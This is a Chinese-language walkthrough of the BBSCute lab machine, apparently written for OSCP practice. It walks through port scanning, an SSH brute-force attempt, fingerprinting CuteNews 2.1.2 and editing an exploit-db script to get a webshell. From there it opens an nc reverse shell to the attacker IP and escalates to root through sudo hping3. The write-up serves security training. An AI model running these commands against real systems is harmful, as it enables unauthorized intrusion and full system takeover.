Esay_BBSCute

总结

getwebshell → 目录扫描发现新端点 → 指纹探测发现CMS → 查看文章发现版本信息 → MSF → 调配修改获得shell

getshell → sudo发现hping3 → 利用hping3提权

准备工作

• 启动VPN
  获取攻击机IP > 192.168.45.176

• 启动靶机

• 获取目标机器IP > 192.168.190.128

信息收集-端口扫描

目标开放端口收集

• Nmap开放端口扫描2次

1. sudo nmap --min-rate 10000 -p- 192.168.190.128

>[!通过各两次扫描收集到端口 ]
>22,80,88,110,995

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,88,110,995 192.168.190.128

信息收集-端口测试

• 22-open-openssh 7.9p1

• 80-open-http

• 88-open-http

• 110-open-pop3

• 995-open-ssl/pop3
  总体来看，突破口在80端口以及88端口

  22-SSH端口的信息收集

通过Nmap探测获得SSH的版本信息，可以尝试利用

# 进入msf
msfcontrol
# 探测版本为OpenSSH 7.9p1 搜索对应脚本
msf6 > searchsploit openssh 7.9

尝试root账户的密码爆破发现报错之后进行手动尝试

ssh root@192.168.190.128</span> ssh -p22
# 密码尝试
password &gt; root

尝试root账户的密码爆破，利用工具hydra，线程-t为6
<mark style="#FFB8EBA6">慢慢跑吧，不指望</mark>

hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.128 ssh -s 22

80-HTTP端口的信息收集

http://192.168.190.128:80

通常遇到这样的网站之后我们直接从收集源码开始

curl http://192.168.190.128:80

整体翻阅了一下，无泄露信息

dirsearch -u http://192.168.190.128:80 -x 302,403

发现内容之后，我们先不考虑上大字典

寻找可用端点

/example.php端点

/manual/en/index.html端点

/print.php端点

/rss.php端点

/search.php端点

/index.php端点

通过端点访问，首先选取最感兴趣的进行探索(登录功能点)

┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# whatweb http://192.168.190.128:80/index.php
http://192.168.190.128:80/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.190.128], JQuery, PasswordField
		

			
输入密码查看隐藏内容
			

				
				
			
		, Script[text/javascript], Title[Please Login / CuteNews], UncommonHeaders[accept-charset], X-Frame-Options[sameorigin], X-UA-Compatible[IE=edge]

获取了CMS的指纹CuteNews，如果知道版本就可用msf精准打击

# 利用html2text转换纯文本方便查看
curl http://192.168.190.128:80/index.php | html2text

查看之后获取到了新的信息CuteNews的版本为2.1.2

88-HTTP端口的信息收集

什么!?还要收集吗？80端口都getwebshell啦?

漏洞利用-getwebshell

# 首先进入msf终端
msfconsole
# 搜索对应的漏洞是否存在
msf6 > searchsploit cutenews 2.1.2

可以思考的是第一个、第三个、第四个。第二个文件删除不能直接getwebshell
其中第三个文件上传相对要复杂一些
第一个可能有前置条件，保险一些先试试第四个?

# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/php/webapps/48800.py

细细翻阅一下

大致了解了脚本的情况，运行了之后让我们输入IP，之后就会根据代码逻辑获得cmd的shell

一般获取脚本之后我们就清楚需要是否需要修改shell以及输入内容等

# 尝试运行，发现没运行成功捏
python3 /usr/share/exploitdb/exploits/php/webapps/48800.py
[->] Usage python3 expoit.py
Enter the URL> http://192.168.190.128:80
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
[-] No hashes were found skipping!!!
================================================================
=============================
Registering a users
=============================

运行没成功说明可能其他地方还需要修改或者该exp不适用
首先进行url的排查

cat /usr/share/exploitdb/exploits/php/webapps/48800.py

查看了一下，发现exp的url是加了/CuteNews端点，和我们现在不符，进行删除

# cp到本地一份方便修改(这是好习惯)
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# cp /usr/share/exploitdb/exploits/php/webapps/48800.py .
# 查询有几处
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# grep CuteNews 48800.py                    
url = f"{ip}/CuteNews/cdata/users/lines"
register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text
payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
# 修改了5处地方
┌──(root㉿Kali)-[/home/bachang/BBSCute]
└─# vim 48800.py 
# 再次查看已经没有了
┌──(kali㉿kali)-[~]
└─$ grep CuteNews 48800.py  
# 尝试运行
python 48800.py

运行成功，获取了cmd的shell

# ps 翻阅了一下不用苦逼的vim修改，利用sed 将所有的 “CuteNews/” 替换为空字符串
sed -i 's:CuteNews/::g' 48800.py
# 查看一下权限
command > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

内网遨游-getshell

发现hydra还没爆破出来，关了关了

获取交互shell

现在我们的shell是利用python的exp获取的，我们获取本地的shell会更好
利用反弹shell弹到本地

# 攻击机先开启监听
nc -lvvp 4444

# 目标主机nc反弹shell
nc -e /bin/bash 192.168.45.176 4444

由于反弹获取的shell交互不友好，利用python获得新的交互shell

# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span>@cute</span>:/var/www/html/uploads$ find / -name local.txt 2&gt;/dev/null
find / -name local.txt 2&gt;/dev/null
/var/www/local.txt
www-data<span>@cute</span>:/var/www/html/uploads$ cat /var/www/local.txt
cat /var/www/local.txt
*****************************

权限提升

访问 https://gtfobins.github.io 寻找

查找具有sudo权限，且不需要密码的可提权文件

# 利用sudo -l寻找
www-data<span>@cute</span>:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp

发现hping3存在sudo权限

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

www-data<span>@cute</span>:/var/www/html/uploads$ hping3
hping3&gt; /bin/sh -p
# whoami
root

成功提权

FLAG2

# cat /root/proof.txt
*************************

结束撒花~谢谢观看~~

原文始发于微信公众号（云下信安）：OSCP靶场保姆级系列-Esay-BBSCute